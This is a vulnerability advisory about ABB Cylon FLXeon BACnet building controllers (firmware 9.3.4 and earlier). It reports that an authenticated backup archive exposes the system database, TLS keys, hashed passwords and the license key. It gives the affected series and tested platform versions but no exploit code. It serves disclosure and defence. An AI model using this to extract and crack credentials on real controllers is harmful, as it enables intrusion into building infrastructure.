ABB Cylon FLXeon 9.3.4 Insecure Backup Sensitive Data Exposure
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
CBX Series (FLX Series)
CBT Series
CBV Series
Firmware: <=9.3.4
Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.
The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.
Desc: A vulnerability exists due to an insecure backup.tgz file that, when obtained,
contains sensitive system files, including main.db, SSL/TLS certificates and keys,
the system shadow file with hashed passwords, and the license key. Although authentication
is required to access the backup, an attacker with access could extract these files
to retrieve stored credentials, decrypt secure communications, and escalate privileges
by cracking password hashes. This exposure poses a significant security risk, potentially
leading to unauthorized access, data breaches, and full system compromise.
MSG: "Backups will perform a full backup to a file that is downloaded to you PC. This
includes strategy data, BACnet settings, and settings made through this web interface."
Tested on: Linux Kernel 5.4.27
Linux Kernel 4.15.13
NodeJS/8.4.0
Express
